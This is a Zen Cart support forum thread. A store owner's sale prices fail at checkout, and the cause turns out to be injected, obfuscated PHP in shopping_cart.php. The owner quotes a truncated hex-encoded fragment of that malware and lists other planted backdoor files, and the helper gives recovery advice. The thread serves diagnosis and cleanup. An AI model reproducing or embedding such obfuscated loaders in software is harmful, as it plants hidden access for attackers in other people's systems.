Sales and Special prices not being applied at checkout

Version 1.55a running on SilverTronStore.com

I tried to put 2 items on sale using the SaleMaker. Both items showed the discount and discounted price correctly on the items storefront page. However, when people actually bought the item, the regular price was charged and not the sale price. I had to refund to the customer.

I also tried to set up a Special, and the same thing happened. The customer was charged full price, and I had to issue a refund.

Currently, I have removed both Sale, and Specials, and am trying Coupons, but so far, no one has bought the items with the coupon.

There are no errors in the logs.

Where do I look?

Bill

Payment modules: PayPal and Braintree
Server Info:
Server Host: vps1.wgpeters.net (45.63.19.69)
Server OS: Linux 3.10.0-693.2.2.el7.x86_64
Server Date: 10/14/2017 10:26:44
Server Up Time: Disabled/Unavailable
HTTP Server: Apache/2.4.6
PHP Version: 5.4.16 (Zend: 2.4.0)
PHP File Uploads: On
Upload Max Size: 2M
PHP Memory Limit: 128M
POST Max Size: 8M
Database: MySQL 5.5.56-MariaDB
Database Host: localhost (127.0.0.1)
Database Date: 10/14/2017 10:26:44
Database Data Size: 1,919 kB
Database Index Size: 716 kB
MySQL Slow Query Log Status: On
MySQL Slow Query Log File: vps1-slow.log
MySQL Mode: (None set)

Addons to the default code? These product had only one not both a sale or special, correct?

One at a time.
First I tried the sale maker, then removed that and made the two items specials.
All of the sales were for the SilverTron Elite, which is my highest selling product.

wgpeters1:

One at a time.
First I tried the sale maker, then removed that and made the two items specials.
All of the sales were for the SilverTron Elite, which is my highest selling product.
So what plugins/addons have been applied to the site to further it's operation? One of them may have either added a file or modified one that is then causing the issue.

There's a few files involved with the other than normal price once the visitor has left the product page. There's the header file for the shopping cart, the shopping cart class, the order class, and a few functions_prices functions to name a few. Then there's observers/notifiers associated with most of those areas/files... so, knowing something about your own site helps to attempt to identify the potential or likely issue from afar.

wgpeters1:

One at a time.
First I tried the sale maker, then removed that and made the two items specials.
All of the sales were for the SilverTron Elite, which is my highest selling product.
So what plugins/addons have been applied to the site to further it's operation? One of them may have either added a file or modified one that is then causing the issue.

There's a few files involved with the other than normal price once the visitor has left the product page. There's the header file for the shopping cart, the shopping cart class, the order class, and a few functions_prices functions to name a few. Then there's observers/notifiers associated with most of those areas/files... so, knowing something about your own site helps to attempt to identify the potential or likely issue from afar.

My store is all stock, no modifications except for the theme (Professional_Blue). I installed this cart on Sept 12, 2016, and aside from this issue has had no problems. If I put a sales item in the shopping cart, it displays the regular price and checkout then charges the regular price.

wgpeters1:

My store is all stock, no modifications except for the theme (Professional_Blue). I installed this cart on Sept 12, 2016, and aside from this issue has had no problems. If I put a sales item in the shopping cart, it displays the regular price and checkout then charges the regular price.
While I did briefly navigate the site in question, providing some of the asociated detail about the setup would help in the general manner.

Is the product priced by attributes?
Regarding the template installation, do you know what files it modified?
What type of sale was applied and what were the settings?
Do you know if includes/classes/shopping_cart.php was modified as part of the template install or not modified as part of an upgrade? Basically it is at the point of viewing the shopping cart that the shopping cart class processes the items in the cart to identify the price that should be associated with each product and then the shopping_cart template should display that information... it appears that in the shopping_cart function get_products at least on your site that the sale/special condition is not being handled correctly. That's the "simple" explanation but that function does offer a number of branches to modify the data.

mc12345678:

While I did briefly navigate the site in question, providing some of the asociated detail about the setup would help in the general manner.

Is the product priced by attributes?
Regarding the template installation, do you know what files it modified?
What type of sale was applied and what were the settings?
Do you know if includes/classes/shopping_cart.php was modified as part of the template install or not modified as part of an upgrade? Basically it is at the point of viewing the shopping cart that the shopping cart class processes the items in the cart to identify the price that should be associated with each product and then the shopping_cart template should display that information... it appears that in the shopping_cart function get_products at least on your site that the sale/special condition is not being handled correctly. That's the "simple" explanation but that function does offer a number of branches to modify the data.
Product that was initially on sale is priced by attributes, but further testing with a product that was not did not work either.

shopping_cart.php appears original. It has the same datestamp as when I installed zencart. Also, when I modify a file, I add my initials as a comment, and this file does not have my initials in it.

wgpeters1:

Product that was initially on sale is priced by attributes, but further testing with a product that was not did not work either.

shopping_cart.php appears original. It has the same datestamp as when I installed zencart. Also, when I modify a file, I add my initials as a comment, and this file does not have my initials in it.
Really? Priced by attributes? When I was writing that message, I went to the product (the elite/high end more modifiable) and it did have attributes, and the price would be increased by selecting something other than the default, but the product did not look like it was priced by attributes. There's a little difference. Typically product that are priced by attribute have a base price of 0 and the attribute selections determine the actual price of the product. The lowest price possible is then determined by the price of the lowest attribute within in option name that is considered applicable to the pricing scheme summed with the other prices found the same way.

That said, I've tried to find things related to version 1.5.5a as relates to this issue and didn't find anything specific in the issues about ZC 1.5.5 even though your install is 4 sub-versions behind the current release of ZC 1.5.5 (now sub-version e). I was going to possibly compare the two versions and see, but since you've already started looking at version differences of the shopping_cart class, perhaps you could also look at includes/modules/pages/shopping_cart and the files in there. What differences exist in the directory and the files within that directory?

Thank your for your help, and indeed you have helped me.

mc12345678:

Really? Priced by attributes? ...
Sorry, I guess this nuance escaped me.

I downloaded a fresh copy of 1.55a to make sure I was comparing the correct files. It turned out that classes/shopping_cart did not match the newly downloaded file. It had " $la286c9ab = 951;$GLOBALS['bfdf8e2']=Array();global$bfdf8e2;$bfdf8e2=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['yb38e']="\x6d\x3e\x67\x29\x70\x47\x23\x2d\x7c\x73\x48\x6f\x30\x25\x55\x62\x7b\x63\x3c\x4e\x53\x37\x4a\x4c\x78\x44\x42\x61\x4f\x2a\x6a\x5a\x2b\x4d\x72\x68\x59\x3d\x31\x77\x7e\x2e\x3a\x75\x7a\x69\x41\x4b\x5e\x60\x35\x28\x5d\x50\x5f\x2c\x39\x20\x33\x34\x57\x74\x45\x71\x46\x32\x7d\x6e\x65\x26\x21\x38\x64\x52\x24\x6b\xa\x54\xd\x66\x43\x22\x5b\x40\x6c\x56\x36\x79\x27\x51\x5c\x3f\x76\x49\x58\x3b\x2f\x9";$bfdf8e2[$bfdf8e2['yb38e'][34].$bfdf8e2['yb38e'][15].$bfdf8e2['yb38e'][21].$bfdf8e2['yb38e'][17].$bfdf8e2 ..." at the beginning of the file. I have no idea what this is, and what will break now that I have removed it. But removing it did make the prices shown by the shopping cart correct.

Thanks again for pointing me in the right direction.

Bill

Ummm. I highly suggest that you continue a full file comparison of your site with a clean install as it would appear that you're site has been hacked. The method of entry is not evident and would likely need to be discovered and closed, but that code is an attempt to access data on/in your system.

Please follow the advise of this ZC posting on addressing being hacked: http://www.zen-cart.com/wiki/index.php/Recovering_From_Hacks

Thank you very much! I shall do a full file comparison.
Its hard to see how a hacker got in, as ftp and ssh are closed to all but my own ip address. I run on a private server.
BTW, removing that garbage fixed the price in the shopping cart, but the system still charged full price.

wgpeters1:

Thank you very much! I shall do a full file comparison.
Its hard to see how a hacker got in, as ftp and ssh are closed to all but my own ip address. I run on a private server.
BTW, removing that garbage fixed the price in the shopping cart, but the system still charged full price.

Yeah, guessing that there are/will be other such garbage in your files. The path to get there... Well, it only takes one vulnerability one time to be made accessible whether it is/was an admin login from a computer that had a keystroke logger or other infection or an image obtained that offered a way in or similar and it could have been there for a long time but only now has been discovered...

Anyways, yeah there are more things to have to review to try to "complete" the remainder of the checkout process, but it seems like the issue could exist in multiple locations and possibly just come back anyways...

So far, I have found a handful of bad files:

./docs/javascript9.php
./includes/extra_configures/search.php
./includes/index_filters/ydeldjbz.php
./includes/classes/ajax/ajax.php
./includes/classes/shopping_cart.php
./includes/functions/extra_functions/help.php
./work/includes/languages/blog.php
./work/includes/auto_loaders/ini1.php

I have gone through all the files twice. Everything appears to function properly now.
As a precaution, I changed my zencart passwords, and the root password on my private server.

I do really appreciate the help you have given me. It never even occurred to me that my site might have been hacked.

I am a C programmer, and truthfully not at all proficient with php. I find the architecture of zencart very confusing but it does work well :)

Thanks,

Bill

I get ya' on the architecture and/or language differences. Once the additional aspects of php/web related data are considered, the issues seem to sort of fall away.

The code does and does not process straight through like you might expect a c program to go. There's all these "external" input that can have a significant impact, between session data, post data, get data, specific class data, database definitions that could change between one load and the next, server specific data, etc... I think I eventually found that somewhat going through the includes/application_top.php file and taking the time to both skim the called files and actually review them offered a lot of understanding in how all the things were brought together. There's still a myriad of parts that I haven't really looked at, but mostly a matter of if/when I need to look I do.

I apologize for not suggesting some comparison tools that could (have?) made the task a little easier for comparison. Generically there's say WinCompare as an open source app. I've seen a few others recently discussed that are considered favorable. I still primarily use Beyond Compare until I find something that could be considered better. Yes, most definitely want to look at what files are present that shouldn't be in addition to what files have been modified, but also want to take another look at what files may be missing that shouldn't be: for example in many of the sub-directories should be an .htaccess file to support security controls. That said, it also depends on the server setup if the existing content of the file(s) are sufficient or if the same file(s) from a newer version need to be used or otherwise modified. While I expect that you've gotten through the how to recover instruction and seen the part about file/folder permissions, that too is important and if you're not planning to significantly modify your existing site you could lock down most of your files/folders to reduce the chances and opportunities for them to get altered.

As to the discovery. Well, it's kind of why many of the posting tip questions are presented. Most things should work out-of-the-box. There are a few issues for various reasons and ways to get around/correct most of them if they are an issue to one site or another. Generally when something doesn't work it's because something else made an alteration... from there, process of elimination right? :)

Anyways, glad that you were able to get things back on track. May want to adjust any/all username password combinations associated with your site including the database username/password, cpanel, etc... take a look through the admin user profiles associated with your store, etc... etc... etc... I'm probably repeating things from the recover actions, I just can't stress enough the importance of not stopping at just the surface. Figure if someone was able to place a file, they were also able to read one...

I think I will do one more thing. I will run 'find . | xargs touch' on my zencart files to change the date stamps on all the files to be the same.
Knowing the install date for my year old site helped a lot in finding files that were added or changed.

wgpeters1:

I think I will do one more thing. I will run 'find . | xargs touch' on my zencart files to change the date stamps on all the files to be the same.
Knowing the install date for my year old site helped a lot in finding files that were added or changed.
I'm sure it helped, hopefully it wasn't the only method used though, that is an attribute that could just as easily be "reproduced" in a future attempt. Content and what occurs, those things help identify discrepancies. It's also a good reason why more than one backup copy should exist to be able to go back to the time before and be able to recover from that particular edit.